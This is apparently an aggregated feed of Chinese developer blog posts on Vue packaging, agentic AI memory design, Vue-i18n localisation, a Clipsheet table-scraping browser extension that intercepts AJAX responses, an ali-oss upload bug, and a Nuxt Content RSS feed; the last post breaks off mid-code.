  • 结果:会在项目的根目录自动创建文件夹 dist,dist中的文件就是打包后的文件,只需要放到服务器中即可
  • 配置:默认情况下,需要放到服务器根目录打开
  • 若希望在子目录中双击打开,需要在 vue.config.js 中添加 publicPath: './'

打包优化 - 路由懒加载

  • 目标:当打包构建应用时,JavaScript 包会变得非常大,影响页面加载。如果完美把不同路由对应的组件分割成不同的代码块,然后当路由被访问的时候才加载对应的组件,这样就更加高效了
  • 步骤
  1. 异步组件改造

by wiedereshen at January 21, 2025 08:48 AM

oschina news industry

向量数据库真的能满足所有 AI Agent 的记忆需求吗?

编者按: 当 AI Agent 执行长期任务时,如何有效管理和存储它们的"记忆"?向量数据库真的能满足所有 AI Agent 的记忆需求吗?

我们今天为大家带来的文章中,作者指出当前主流的向量数据库虽然能够有效处理对话记忆,但无法完全满足 Agentic AI 系统在长期任务执行过程中的多样化记忆需求。

文章首先介绍了 Agentic AI 系统的基本概念,以营销案例说明了其任务分解和执行能力。随后深入探讨了向量数据库在管理 AI 记忆方面的应用及其局限性,特别指出了数据质量问题。作者借鉴人类记忆机制,提出了一个创新的 Agentic 记忆架构设计方案,包含记忆路由器、短期记忆模块和长期记忆模块。这个架构不仅可以处理语义记忆,还能通过知识图谱存储情景记忆,通过有限状态机存储程序记忆,从而更全面地满足 AI Agent 的记忆需求。

作者 | Debmalya Biswas

编译 | 岳扬

图:Agentic AI 记忆管理(图片由作者提供)

01 Agentic AI 系统简介

AI Agent 是当前的热门话题。我之前对此有过撰述,其他人也正在热议这个话题。然而,围绕 Agentic AI 系统的具体定义,却有不少争议。它们与生成式 AI(Gen AI)或大语言模型(LLM)智能体究竟有何区别?

本节旨在通过分析 Agentic AI 系统在实施具体营销案例时的功能性与非功能性需求,为这场讨论拨云见日 ------ 具体见图 1。

图 1:Agentic AI 在营销案例中的应用(图片由作者提供)

面对用户任务,Agent 平台的目标是找出能够胜任该任务的 Agent(或 Agents 集群)。首先,我们需要的是一个能够将任务拆分为子任务的编排层(orchestration layer),并由编排引擎来协调各 Agent 的执行。

目前,我们依靠 LLM 来处理任务分解,这就是与 Gen AI 的重叠之处。但遗憾的是,这也意味着当前 Agentic AI 的推理能力受限于大语言模型(LLM)。

以 GPT4 为例,其对以下提示词的任务分解在图 1 中有详细展示:"生成一项量身定制的电子邮件营销计划,目标是一个月内实现 100 万美元的销售目标。相关产品及其性能数据可在 [url] 查询。请接入 CRM 系统 [integration],获取客户姓名、电子邮件地址和人口统计详细信息。"

分解步骤为:(分析产品)---(确定目标群体)---(创建定制电子邮件营销活动)。

接下来,系统将监控执行过程和执行环境,并自主进行调整。在本案例中,Agent 意识到无法达成销售目标,便自主增加了以下任务:(寻找替代产品)---(利用客户数据)---(进行A/B测试)。

值得一提的是,对于多数应用场景,与企业系统的集成(如本例的 CRM 系统)是不可或缺的。例如,可以参考 Anthropic 最近提出的模型上下文协议(MCP)[1],该协议旨在将 AI Agents 与存储企业数据的外部系统相连接。

鉴于这类任务的长期运行性质,Agentic AI 系统的内存管理显得尤为关键。一旦启动了初步的电子邮件营销活动后,Agents 就需要对其进行为期一个月的监控。

这就涉及到在任务间共享上下文以及在长时间内维持执行上下文的连续性。

目前的做法是利用向量数据库(Vector DBs)来外部存储 Agents 的记忆,确保数据项在需要时能够被访问。 接下来,我们将深入探讨以下细节:

  • 如何通过向量数据库管理 AI Agents 的记忆
  • 以及相应的数据质量问题。

我们会发现,尽管向量数据库在处理会话记忆(如问答对(Q&A pairs))时足够用,但对于 agentic 任务来说,它们在管理以下额外记忆类型时显得力不从心:

  • 语义记忆(通用知识)
  • 情景记忆(个人体验)
  • 程序记忆(技能与任务流程)

因此,我们强调需要采用其他形式(例如,知识图谱、有限状态机)来有效地对记忆存储进行管理。

02 利用向量数据库进行会话记忆管理

向量数据库(Vector DBs)是专为存储向量数据而设计,并能基于向量间的相似度来处理查询。这类数据库当前是存储和提取对话智能体所需数据(记忆)的核心工具。图 2 展示了如何利用向量数据库对对话智能体进行编码和记忆管理。

图 2:基于向量数据库的编码技术,用于 LLMs(图片由作者提供)

这一过程涉及到选择一个编码器模型,该模型独立于主流程,负责将不同类型的原始数据(如文本、音频和视频)离线转换为向量。在编码空间中,相似的对话数据会被映射到彼此靠近的向量上。

例如,文本必须转换为数值向量才能被计算机处理,这一转换是通过分词器(Tokenizers)完成的。token 可以是字节、字符、字符组合、单词甚至是完整的句子。目前,字节对编码(BPE)是最常用的分词方法,它将一对相邻的字节作为一个 token。

选择合适的"token"至关重要,因为它不仅决定了神经网络能够捕捉的 token 间关系,还影响着训练该网络的计算复杂度。

这些编码后的数据存储在向量数据库中,在推理阶段,可以基于向量相似度,使用相同的编码器模型来检索这些数据。在对话过程中,对话智能体可以通过编码查询(query)内容并在向量数据库中搜索相关信息来访问长期记忆系统。随后,智能体会利用检索到的信息来回答用户的查询(query),这些信息是基于之前存储的数据。

2.1 向量数据库中的数据质量问题

尽管数据质量对 AI 的重要性得到了普遍认同,但目前企业对数据质量的关注主要集中在对结构化数据 / SQL 数据的处理上。非结构化数据,如文本、图像、音频和视频,几乎占据了与企业生成式 AI(Gen AI)使用场景相关的 80% 的数据,却往往被忽视。 本节我们将探讨:

对于存储在向量数据库中的非结构化数据,数据质量的标准是什么?特别是在检索增强生成(RAG)的应用场景中。

结合微调技术,RAG 成为了将预训练的大语言模型(LLM)与企业数据相结合,增强其上下文相关性和同时在此过程减少幻觉产生的关键手段之一(见图 3 的 Gen AI 生命周期阶段)。

图 3:Gen AI 生命周期阶段(图片由作者提供)

面对用户查询,RAG 流程包括以下三个步骤(见图 4):

  • 检索:将用户查询转换为向量形式的嵌入,以计算其与其他内容的相似度得分。
  • 增强:利用从向量存储中检索到的最新搜索结果/上下文进行信息补充。
  • 生成:通过将检索到的信息片段整合到提示词模板中,为 LLM 提供额外的上下文,从而生成针对查询的上下文响应。

我们首先来看看当前结构化数据 / SQL 数据世界中常见的数据质量维度:

  • 准确性:数据反映现实情况的精确度如何?
  • 完整性:数据是否存在缺失值或空值?
  • 一致性:信息在不同位置存储时是否保持一致?
  • 及时性:数据的时间戳反映了其新鲜程度。

接下来,我们将它们应用于非结构化数据领域/向量数据库 ------ 具体见下图 4。

图 4:RAG --- 向量数据库中的数据质量问题(图片由作者提供)

在向量数据库领域,集合(collection)相当于 SQL 数据库中的表(table),每个集合项通常包含:唯一标识符(ID)、向量(实际数据,以浮点数数组形式存储)和元数据(例如,时间戳)。

准确性:指的是向量存储中数据的精确度。试想,如果 AI 基于错误信息撰写新闻,可能会产生虚假新闻而非有价值的内容。我们通过以下两个指标来衡量这一点:

  • 正确性:涉及 LLM 响应的事实准确性,
  • 基础性:涉及 LLM 响应与底层知识库(KB)的关系。

研究发现[2],即使模型响应是正确的,也可能缺乏适当的依据。

错误和不一致的向量:由于嵌入过程中的问题,一些向量可能受损、不完整,或者以错误的维度生成,这可能导致 AI 输出混乱或脱节。例如,如果 AI 基于音质参差不齐的录音生成音频,结果可能会显得不连贯。在文本生成中,数据中的语法或语气不一致可能导致内容生硬或脱节。

缺失数据的形式可以是缺失向量或元数据。例如,如果生成式 AI 从数据不完整的数据集中生成视觉设计,可能会产出带有缺失元素的设计。

及时性:如果为 RAG pipeline 中的提示词提供上下文向量的数据库中的文档已经过时,那么生成式 AI 系统可能会产生不相关的输出。例如,如果一个启用了生成式 AI 的聊天机器人基于过时的政策文件回答问题,就可能会提供不准确且具有误导性的答案。

03 Agentic Memory

尽管上述方法能够有效地将对话存储为问答对并实现检索,但它并不足以满足 Agentic AI 系统所需的其他记忆类型,这些记忆类型对于复制或改进人类行为至关重要,尤其是以下四种:

  • 语义记忆(Semantic memory) ------ 存储事实、概念、意义等通用知识。
  • 情景记忆(Episodic memory) ------ 记录与过去特定事件和情境相关的个人经历。
  • 程序记忆(Procedural memory) ------ 存储如驾驶汽车等运动技能,以及完成任务的相应程序步骤。
  • 情感记忆(Emotional memory) ------ 保存与个体经历相关的情感体验。

3.1 理解人类记忆

在本节中,我们首先探讨人类大脑如何处理短期记忆和长期记忆 ------ 如图 5 所示。

图 5:人类大脑的记忆管理(图片由作者提供)

记忆的形成始于感觉系统,来自外界的信息首先进入感觉记忆(sensory memory)。这一初始阶段以原始形式保存感觉信息,但持续时间极短,通常仅有几百毫秒。

随后,被我们注意到的信息会转移到短期记忆(STM)。短期记忆的容量有限,仅能保存大约 7 个信息块,且持续时间约为 20 到 30 秒。它是我们进行思考、解决问题和做出决策等有意识心理活动的场所。

信息要从短期记忆转移到长期记忆(LTM),需要经过编码过程,将其转化为更持久且具有意义的表征。

编码通过多种机制实现(例如重复、精细加工,或与已有知识建立关联)。

成功编码后,信息会进入长期记忆。长期记忆的容量极大,能够存储信息长达数小时,甚至一生。

记忆的检索系统依赖于与上下文信息的关联。外部和内部的检索线索通过重现编码时的情境,帮助我们提取特定记忆。

  • 回忆是指在没有外部线索的情况下,主动重建信息的过程。
  • 再认则是指在多个选项中识别出之前遇到的信息。
  • 此外,检索策略如促发(priming)、记忆技巧(mnemonic techniques)、分块(chunking)和复述(rehearsal),能够显著提升记忆的提取效率。

3.2 映射到 Agentic 记忆

基于我们对人类大脑的理解和 AI Agents / 应用的要求,我们需要考虑以下记忆类型 ------ 如图 6 所示:

  • 语义知识:来自外部(如 Wikipedia)和内部系统(如 Sharepoint、Confluence、文档、消息平台等)的信息。
  • 情景记忆:特定过去事件和情境的记忆。这些内容是在 AI Agents 运行过程中获得的。
  • 程序记忆:类似于人类记住游泳或开车等运动技能的方式。它涵盖了描述 AI Agents 如何实现特定任务的工作流和程序。
  • 情感记忆:记录与个体经验相关的情感。涉及用户关系、偏好、反应和相关数据,使 AI 在用户交互中更具人性,并在用户互动中保持一致。

语义记忆可能是目前唯一在 LLM 中通过预训练和嵌入可实现的记忆类型 ------ 其他记忆类型仍在开发中。

在后续部分,我们将展示如何为 Agentic AI 系统实现一个全面的记忆管理模块 ------ 如图 6 所示。

图 6:Agentic AI 记忆管理(图片由作者提供)

记忆路由器默认总是将请求路由到长期记忆 (LTM) 模块,以查看是否存在现有模式来响应给定的用户提示词。如果有,它就会检索并立即做出响应,根据需要进行个性化处理。

如果 LTM 失效,记忆路由器将其路由到短期记忆 (STM) 模块,该模块然后使用其检索过程(函数调用、API 等)将相关上下文检索到 STM(工作记忆)中,并充分利用适用的数据服务。

STM-LTM 变换模块始终处于活动状态,并不断获取检索到的上下文,从中提取"recipes"(例如,参考可教学智能体和 AutoGen 中的"recipes"概念),并存储在语义层(通过向量数据库实现)。与此同时,它还在收集其他相关属性(例如,token 数量、产生模型响应的成本、系统状态、执行的任务/生成的响应),并创建一个 episode,然后将其存储在知识图谱中,其中底层过程存储在有限状态机(FSM)中。

04 Conclusion

总而言之,记忆管理对于长期运行的 AI Agents 的广泛应用至关重要。虽然向量数据库在处理对话式智能体时表现出色,但我们发现它们无法满足复杂 Agentic AI 任务多样化的记忆需求,尤其是情景记忆(episodic memory)和程序记忆(procedural memory)。

在这篇文章中,我们提出了一种 Agentic 记忆架构的初步设计方案,其中记忆路由器(memory router)负责在短期记忆模块(STM)和长期记忆模块(LTM)之间进行请求调度。我们的主要贡献是一个从 STM 到 LTM 的转换器模块,该模块能够将情景记忆抽象并存储在知识图谱(knowledge graphs)中,将程序记忆存储在有限状态机(FSMs)中。目前,我们正在积极优化 Agentic AI 系统中长期记忆(LTM)的存储和检索机制(包括探索其他形式的方法)。

Thanks for reading!

Hope you have enjoyed and learned new things from this blog!

About the authors

Debmalya Biswas

AI/ML, Privacy and Open Source | x-Nokia, SAP, Oracle | 50+ Patents https://www.linkedin.com/in/debmalya-biswas-3975261/

END

本期互动内容 🍻

❓作者借鉴了人类大脑的记忆机制来设计 AI 记忆架构。你觉得人类记忆系统中还有哪些特性值得 AI 系统借鉴?

🔗文中链接🔗

[1]https://www.anthropic.com/news/model-context-protocol

[2]https://dho.stanford.edu/wp-content/uploads/Legal_RAG_Hallucinations.pdf

原文链接:

https://ai.gopubby.com/long-term-memory-for-agentic-ai-systems-4ae9b37c6c0f

by 原创 at January 21, 2025 08:43 AM

juejin frontend

国际化处理——Vue-i18n+Element UI

🧑‍💻Vue-i18n+Element UI国际化处理-HowieCong

1. 背景

graph LR
项目需要支持多地区用户 --> 进行国际化处理 --> 满足多用户需求

2. 使用方法

  • 技术方案
    • Vue-i18n(Vue.js 生态中非常强大的国际化插件)

    • Element UI(Element UI 是我们项目使用的 UI 框架)

  • 思路
    • 将所有需要进行国际化的文本提取出来

    • 存储在不同的语言文件中

    • 根据用户的语言选择来动态展示相应语言的文本

3. 依赖vue-i18n+element-ui安装

  • npm install vue-i18n element-ui 或 yarn add vue-i18n element-ui

  • Npm官网——vue-i18n - npm

  • Vue-i18n可以方便地处理语言文件地管理和文本的翻译;Element UI提供了丰富的组件,让我们能够更快速地构建界面

4. 语言文件创建

  • 在src目录下创建locales文件夹,其中存放不同语言的JSON格式的翻译文件

  • 这些文件是我们国际化的核心数据,它们包含了各种界面元素对应的不同语言的文本内容

  • en.json(英语)

{ 
    "welcome": "Welcome to our website!", 
    "description": "This is a description of our service."
}
  • zh-CN.json(简体中文)
{ 
    "welcome": "欢迎来到我们的网站!", 
    "description": "这是我们服务的描述。"
}
  • ja.json(日语)
{ 
    "welcome": "私たちのウェブサイトへようこそ!", 
    "description": "これは私たちのサービスの説明です。" 
}

5. 在Vue项目中配置

  • 在入口文件,一般为src/main.js中引入Vue-i18n、Element UI进行配置

  • 关键是通过 Cookies.get('language') 从 Cookie 中获取用户之前选择的语言。如果用户是首次访问,没有存储语言信息,我们将默认使用英文('en')。这种方式可以确保用户在下次打开页面时,能看到他们上次使用的语言界面,提升用户体验。

import Vue from 'vue'; 
import VueI18n from 'vue-i18n'; 
import ElementUI from 'element-ui'; 
import 'element-ui/lib/theme-chalk/index.css'; 
import App from './App.vue'; 
import en from './locales/en.json'; 
import zhCN from './locales/zh-CN.json'; 
import ja from './locales/ja.json'; 
import Cookies from 'js-cookie'; 

Vue.use(VueI18n); 
Vue.use(ElementUI);

// 从 Cookie 中获取上次存储的语言,若没有则默认为 'en' 
const savedLang = Cookies.get('language') || 'en'; 
const i18n = new VueI18n({ 
    locale: savedLang, 
    messages: { 
        en: en, 
        'zh-CN': zhCN, 
        ja: ja 
       } 
      }); 
    new Vue({ 
       render: h => h(App), 
       i18n: i18n 
}).$mount('#app');

6. 在组件中使用Vue-i18n和Element UI

  • 在Vue组件中,使用$t方法引用翻译文本,使用Element UI组件,并添加语言切换功能

  • 添加了几个语言切换按钮,用户点击按钮时调用 switchLanguage 方法。该方法将更新 Vue-i18n 的 locale 属性,同时使用 Cookies.set('language', lang) 将用户选择的语言存储在 Cookie 中,这样即使页面刷新或下次访问,语言设置也能保留

<template> 
    <div> 
        <el-button @click="switchLanguage('en')">{{ $t('english') }}</el-button> 
        <el-button @click="switchLanguage('zh-CN')">{{ $t('chinese') }}</el-button> 
        <el-button @click="switchLanguage('ja')">{{ $t('japanese') }}</el-button> 
        <h1>{{ $t('welcome') }}</h1> 
        <p>{{ $t('description') }}</p> 
     </div> 
</template> 
<script> 
    import Cookies from 'js-cookie'; 
    export default { 
        name: 'App', 
        methods: { 
            switchLanguage(lang) { 
                this.$i18n.locale = lang; 
                // 将选择的语言存储在 Cookie 中 
                Cookies.set('language', lang); 
                } 
        } 
    }; 
</script>

7. 完善语言文件和组件

  • 为了使语言切换按钮对的显示也能国际化,更新语言文件,语言切换按钮的显示也会根据当前语言进行国际化,使整个界面更加统一和用户友好

  • en.json

{ 
"welcome": "Welcome to our website!", 
"description": "This is a description of our service.", 
"english": "English", 
"chinese": "Chinese", 
"japanese": "Japanese"
}
  • zh-CN.json
{ 
    "welcome": "欢迎来到我们的网站!", 
    "description": "这是我们服务的描述。",
    "english": "英语",
    "chinese": "中文", 
    "japanese": "日语" 
}
  • ja.json
{ 
    "welcome": "私たちのウェブサイトへようこそ!", 
    "description": "これは私たちのサービスの説明です。", 
    "english": "英語", 
    "chinese": "中国語", 
    "japanese": "日本語" 
}

8. 优化语言切换逻辑

  • 应用中的不同组件都可能需要进行语言切换操作,将语言切换逻辑封装到VueX存储

  • Vuex安装:npm install vuex 或 yarn add vuex 来引入Vuex

  • 创建Vuex存储:在src/store/index.ts中创建Vuex存储,存储用户当前选择的语言,定义相关的状态、突变和动作

import Vue from 'vue';
import Vuex from 'vuex';
import Cookies from 'js-cookie';
import VueI18n from 'vue-i18n';
import en from '../locales/en.json';
import zhCN from '../locales/zh-CN.json';
import ja from '../locales/ja.json';
Vue.use(Vuex);
const savedLang = Cookies.get('language') || 'en';
const i18n = new VueI18n({
    locale: savedLang,
    messages: {
        en: en,
        'zh-CN': zhCN,
        ja: ja
    }
});
export default new Vuex.Store({
    state: {
    locale: savedLang
    },
    mutations: {
        SET_LANG(state, lang) {
            state.locale = lang;
            i18n.locale = lang;
            Cookies.set('language', lang);
        }
    },
    actions: {
        switchLanguage({ commit }, lang) {
            commit('SET_LANG', lang);
        }
    }
});
  • 在入口文件中使用Vuex存储
import Vue from 'vue';
import App from './App.vue';
import store from './store';
import ElementUI from 'element-ui';
import 'element-ui/lib/theme-chalk/index.css';
Vue.use(ElementUI);
new Vue({
    render: h => h(App),
    store: store
}).$mount('#app');
  • 在组件中使用Vuex进行语言切换
<template>
    <div><el-button @click="switchLanguage('en')">{{
$t('english') }}</el-button>
    <el-button @click="switchLanguage('zh-CN')">{{ 
$t('chinese') }}</el-button>
    <el-button @click="switchLanguage('ja')">{{
$t('japanese') }}</el-button>
    <h1>{{ $
t('welcome') }}</h1>
    <p>{{ $t('description')}</p>
</div>
</template>
<script>
import { mapActions } from 'vuex';
export default {
    name: 'App',
    methods: {
        ...mapActions(['switchLanguage'])
    }
};
</script>

9. 实现成果

  • 实现一个支持3种语言(英语、简体中文、日语)的国际化功能点 => 用户可以方便地在不同语言之间切换

  • 语言设置会被存储在Cookie中,保证用户下次访问时可以直接使用之前地语言偏好 => 提高了用户体验

  • 总体上 => 能更好地服务于不同地区的用户

10. 更多难点分析

10.1 语言文件的维护

  • 背景:项目扩大 => 语言文件大 => 维护困难

  • 解决方法

    • 按模块或页面划分语言文件的方式,将不同页面或模块的翻译内容分别存储在不同文件中
    • 在vue-i18n的message对象中合并,方便管理和维护

10.2 动态内容的翻译

  • 背景: 有些文本是根据后端动态生成的,如何进行翻译就是一个问题

  • 解决方法

    • 使用vue-i18n的编程式API,在组件的methodscomputed中根据后端数据动态调用$t方法进行翻译

更多国际化处理的文章

❓其他

1. 疑问与作者HowieCong声明

  • 如有疑问、出错的知识,请及时点击下方链接添加作者HowieCong的其中一种联系方式或发送邮件到下方邮箱告知作者HowieCong

  • 若想让作者更新哪些方面的技术文章或补充更多知识在这篇文章,请及时点击下方链接添加里面其中一种联系方式或发送邮件到下方邮箱告知作者HowieCong

  • 声明:作者HowieCong目前只是一个前端开发小菜鸟,写文章的初衷只是全面提高自身能力和见识;如果对此篇文章喜欢或能帮助到你,麻烦给作者HowieCong点个关注/给这篇文章点个赞/收藏这篇文章/在评论区留下你的想法吧,欢迎大家来交流!

2. 作者社交媒体/邮箱-HowieCong

by HowieCong at January 21, 2025 08:43 AM

从零开始使用Univer Clipsheet构建自己的爬虫插件(2)-手动选择表格与拦截 Ajax 响应

前情提要:  从零开始使用Univer Clipsheet构建自己的爬虫插件

[Github]: github.com/dream-num/u…

[官方网站]: Univer | ClipSheet

[Chrome商店下载链接]: Chrome 插件商店-Clipsheet

[Edge商店下载链接]: Edge 插件商店-Clipsheet

教程文档:教程文档

前言

在之前的章节我们完成了爬虫插件项目的搭建与 univer clipsheet 代码的引入,用 clipsheet 提供的能力自动对当前网页中的表格进行探测。 如果大家没有看过第一章的可以参考第一章的内容进行项目初始化。

本章会继续丰富插件的功能,支持手动选择元素生成table (表格数据) ,以及拦截 Ajax 请求从响应体中解析 table 的能力。

我也建了一个存放教程代码的仓库:GitHub - siam-ese/univer-clipsheet-tutorial-code: 用 univer-clipsheet从零开始构建爬虫插件代码案例, 可以直接通过该仓库开始插件的开发。

1. 手动选择元素

有些时候在网页中自动探测的表格可能跟你想采集的表格并不匹配,这时候我们需要提供给用户自己手动选择元素能力,类似 Chrome Devtools 审查元素的功能。clipsheet也提供了这个代码能力,我们回到 content/package.json中新增一行依赖,并重新执行 pnpm i安装依赖启动项目。

"@univer-clipsheet-core/ui": "workspace:*"

然后回到 Chrome extension 开发中的 content-script 代码中, 也就是项目 pages/content/src/index.ts的位置,我们加入如下代码,启用 clipsheet 提供的选择元素的功能。

import { ElementInspectService } from '@univer-clipsheet-core/ui';
 
const elementInspectService = new ElementInspectService();
 
elementInspectService.shadowComponent.onInspectElement((element) => {
  // 点击页面元素时,会触发该回调函数
  console.log('Inspect Element:', element);
})
 
setTimeout(() => {
  // 激活元素检查功能
  elementInspectService.shadowComponent.activate()
})

从 @univer-clipsheet-core/ui 引入和激活 elementInspectService之后,我们可以看到我们鼠标 hover 的元素会高亮蓝色,并且在元素上点击后, 会执行 onInspectElement 的回调函数捕获点击的元素。

image.png

以上我们已经完成了手动元素的选择,我们接下来只要匹配离他最近的类表格元素即可,继续对 onInspectElement 回调函数中加入代码

const last = <T>(arr: T[]) => arr[arr.length - 1];
elementInspectService.shadowComponent.onInspectElement((element) => {
  // 获取最近匹配到的table标签元素
  const tableElement = last(checkElementTable(element));
  // 获取最近匹配到的ExtractionParams对象
  const tableExtractionParams = last(checkElementApproximationTable(element));
  // 点击页面元素时,会触发该回调函数
  console.log('Inspect Element:', element);
  if (tableElement) {
    // 如果点击的元素是table标签,则生成IInitialSheet对象
    const sheet = generateSheetByElement(tableElement as HTMLTableElement);
    // 打印表格数据
    console.log('Inspect Table:', sheet);
    // 最近匹配到的类表格元素
    console.log('Inspect Table success with element:', tableElement);
  } else if (tableExtractionParams) {
    const sheet = generateSheetByExtractionParams(tableExtractionParams);
    // 打印表格数据
    console.log('Inspect Table:', sheet);
    // 最近匹配到的类表格元素
    console.log('Inspect Table success with element:', tableExtractionParams.element);
  } else {
    console.log('Not found table with element', element);
  }
})

上面的代码的代码都有注释,可以了解具体做了些什么,主要是对元素进行最近 table 标签匹配或者类 table 元素的匹配,然后匹配成功后生成 initialSheet 的数据对象。

2. Ajax响应拦截

接下来我们对网页中的 ajax 响应体做一个拦截,并从可能是json 结构的响应体的尝试解析出 initialSheet 数据。

我们先创建一个 ajax-intercept.ts 文件在 pages/content/src 下,并写入如下代码

function interceptRequest(onResponse: (response: any) => void) {
    const XHR = XMLHttpRequest;
    const _fetch = fetch;
 
    const onReadyStateChange = async function (this: XMLHttpRequest) {
        if (this.readyState === 4) {
            onResponse(this.response);
        }
    };
    // 拦截 XMLHttpRequest
    const innerXHR: typeof XMLHttpRequest = function () {
        const xhr = new XHR();
        xhr.addEventListener('readystatechange', onReadyStateChange.bind(xhr), false);
        return xhr;
    };
    innerXHR.prototype = XHR.prototype;
    Object.entries(XHR).forEach(([key, val]) => {
         // @ts-ignore
        innerXHR[key] = val;
    });
 
    // 拦截 fetch
    const innerFetch: typeof _fetch = async (resource, initOptions) => {
        const getOriginalResponse = () => _fetch(resource, initOptions);
        const fetchedResponse = getOriginalResponse();
 
        fetchedResponse.then((response) => {
            if (response instanceof Response) {
                try {
                    response.clone()
                        .json()
                        .then((res) => onResponse(res))
                        .catch(() => {
                            // Do nothing
                        });
                } catch (err) {}
            }
        });
        return fetchedResponse;
    };
    window.XMLHttpRequest = innerXHR;
    window.fetch = innerFetch;
}

这里 interceptRequest 函数里我们通过改下全局的 XHR 对象以及 fetch 函数对 ajax 的响应体做了一个拦截,但是该方法想要在 插件的 content-script 环境中生效,需要用插入 script 标签的形式来引入。所以我们会将 ajax-intercept.ts这个文件先做一次打包,然后在 content-script 中引入。

因为用 script 标签引入的原因,ajax-intercept与 content-script不在一个上下文中,因此我们用 window.postMessage来完成它们之间的通信。 继续在 ajax-intercept中加入代码

function serializeToJSON(response: unknown) {
    try {
        return JSON.parse(JSON.stringify(response));
    } catch {
        return null;
    }
}
interceptRequest((res) => {
    // 发送消息到content script
    postMessage({
        type: 'AJAX_INTERCEPT_MESSAGE',
        response: serializeToJSON(res),
    });
});

接下来我们要把该 ts 文件打包成 js, 在 package.json 中加入一条命令,执行该命令会把 ajax-intercept打包到 public 文件夹下,public 文件夹会copy 到最终插件打包的文件中。

"build:ajax-interceptor": "npx esbuild src/ajax-interceptor.ts --bundle --outfile=public/ajax-interceptor.js"

打包成功后,回到 pages/content/src/index.ts 使用如下代码加载 **ajax-intercept **

// 启动AJAX拦截器
function startAjaxIntercept(scriptSrc: string, onMessage: (message: unknown) => void) {
  const script = document.createElement('script');
  script.src = scriptSrc;
  script.onload = () => {
    window.addEventListener('message', event => {
      const message = event.data;
      if (message.type === 'AJAX_INTERCEPT_MESSAGE') {
        onMessage(message.response);
      }
    });
  };
  document.body.appendChild(script);
  return () => {
    script.remove();
  };
}
 
 
startAjaxIntercept(chrome.runtime.getURL('content/ajax-interceptor.js'), res => {
  if (res) {
    console.log('AJAX response', res);
    const sheets = ajaxJsonToTable([res as UnknownJson]);
    if (sheets.length > 0) {
      console.log('AJAX sheets from response', sheets);
    }
  }
});

image.png

插件重新加载后,打开控制台并刷新页面, 可以看到部分响应已被捕获并打印在控制台。

结语

以上是构建爬虫插件第二章的所有内容, 这章继续对爬虫插件的功能做了丰富,后续的章节会继续给我们的爬虫插件开发更强大的功能, 例如采集操作的自动化等,感兴趣的可以继续关注~

想直接体验Univer Clipsheet功能的可直接下载商店版本:chromewebstore.google.com/detail/univ…

有问题或任何建议也可以直接到我们 github仓库下提 issue: github.com/dream-num/u…

by 用户779482129218 at January 21, 2025 08:42 AM

oss上传出现Bucket错误

最近在做阿里云的oss文件上传功能

import Oss from 'ali-oss';

const client = new Oss({
    region: ossProps.value.region,
    accessKeyId: ossProps.value.accessKeyId,
    accessKeySecret: ossProps.value.accessKeySecret,
    bucket: ossProps.value.bucket,
  });

将Oss配置好后,调用oss实例的分片上传方法

client.multipartUpload(filePath, file, {
        progress(p) {
          // 上传过程中关闭窗口,取消上传
          if (closedUpload.value) {
            cancelClientUpload();
          };
          // percent.value = (p * 100).toFixed(2) - 0;
          percent.value = (p).toFixed(2) - 0;
        }
      }).then((res) => {
      
      }).catch(err => {
        console.log('err', err);
      })

问题现象

在上传文件时触发client.multipartUpload就会出现报错:TypeError: Cannot read properties of null (reading 'Bucket')

image.png

解决方案

有部分网友说是版本问题,经过升级版本等操作,发现还是有这个问题

最后发现项目中使用了mockjs库,在发送responseType: arraybuffer 时,自己封装了一次,把原生的xmlHttpRequest中的responseType变成了 '',导致了后续无法解析。

github.com/ali-sdk/ali…

by 董员外 at January 21, 2025 08:40 AM

Nuxt Content v3 实现 RSS 订阅功能

这可能是对现在而言唯一一篇关于Content v3 版本的 RSS 订阅的文章了。我找遍了能搜出来的每篇文章,没有一个能用的。

因为 Nuxt Content v3 还没发布正式版,其相关生态的 module 都没支持最新的 Content , 感觉不是很复杂的功能,但是就不跟 content v3 一起出个 alpha 版,很无语。

本文来带大家在 Nuxt Content v3 里实现 RSS 订阅功能。

添加原始内容

content.config.tsrawbody 是一个特殊的 schema ,配置后,将会把md原始内容存起来,在使用 queryCollection 时,就可以查到 rawbody

content: defineCollection({
    type: 'page',
    source: {
      include: '**/*.md',
      exclude: ['**/-*.md', 'book/**/*.md'],
      prefix: '/post',
      repository: 'https://github.com/aatrooox/xxxx',
      authToken: process.env.CONTENT_REPO_TOKEN
    },
    schema: z.object({
      date: z.date(),
      lastmod: z.date(),
      tags: z.array(z.string()),
      versions: z.array(z.string()),
      rawbody: z.string()
    })
  }),

server 中查询时:

// @ts-ignore
  const posts = await queryCollection(event, 'content').order('date', "DESC").all();

queryCollection 是可以在直接在 server 中使用的,不需要像 content v2中一样导入一个 serverQueryContent

而且 #content/server 这个导入方式在 v3 也不能用了

使用时,会产生错误的类型提示,目前只能忽略它(不影响使用)。 可以查看 issue#2968

添加 feed.xml

找一个博客,点击他的订阅按钮,可以看到就是跳到一个 xml 页面上。

所以我们也只需要实现一个 feed.xml 即可,当然,一个网站也可以有多个 rss 订阅源

新建 server/routes/feed.xml.ts ,因为是基于文件路径的路由,所以此路由就对应 $baseUrl/feed.xml

在RSS阅读器上,也是通过输入这个地址来实现订阅。

添加相关依赖

  • rss
  • unified
  • remark-parse
  • remark-gfm
  • remark-breaks
  • remark-frontmatter
  • remark-directive
  • remark-directive-rehype
  • remark-rehype
  • rehype-sanitize
  • rehype-autolink-headings
  • rehype-stringify
  • hast-util-to-html
npm i rss unified remark-parse remark-gfm remark-breaks remark-frontmatter remark-directive remark-directive-rehype remark-rehype rehype-sanitize rehype-autolink-headings rehype-stringify hast-util-to-html

这些插件是围绕 markdown 和 html 的解析/转换相关的插件。

如果你想了解他们之间是如何运作的,可以去看 DIYgod 的这篇文章。 以及这些插件在 xLog 中的具体用法。

我再挨个罗列出来介绍一遍,画个图,感觉没什么必要了,都是非常稳定且已经是事实上的标准的插件。

实际上 nuxt/mdc 就是使用了一系列 mdasthastremarkrehype 的插件 ,但是可惜的是它没有开放出对应的接口。

不然就不需要下载这么多插件了。

实现逻辑

直接放代码(忽略引入了,太长):

/server/routes/feed.xml.ts

export default defineEventHandler(async (event) => {

  const config = useRuntimeConfig()
  // @ts-ignore
  const posts: any = await queryCollection(event, 'content').order('date', "DESC").all();
  const feed = new RSS({
    title: '早早集市',
    site_url: config.baseURL,
    feed_url: config.baseURL + '/feed.xml',
  })

  for ( const post of posts) {
    const content = post.rawbody
    if (content) {
      const markdownContent = cleanInvalidChars(content);
      feed.item({
        title: post.title,
        url: `${config.baseURL}/${post.path}`,
        date: post.date,
        description: post.description,
        custom_elements: [
          {
            'content:encoded': renderPageContent(markdownContent)
          }
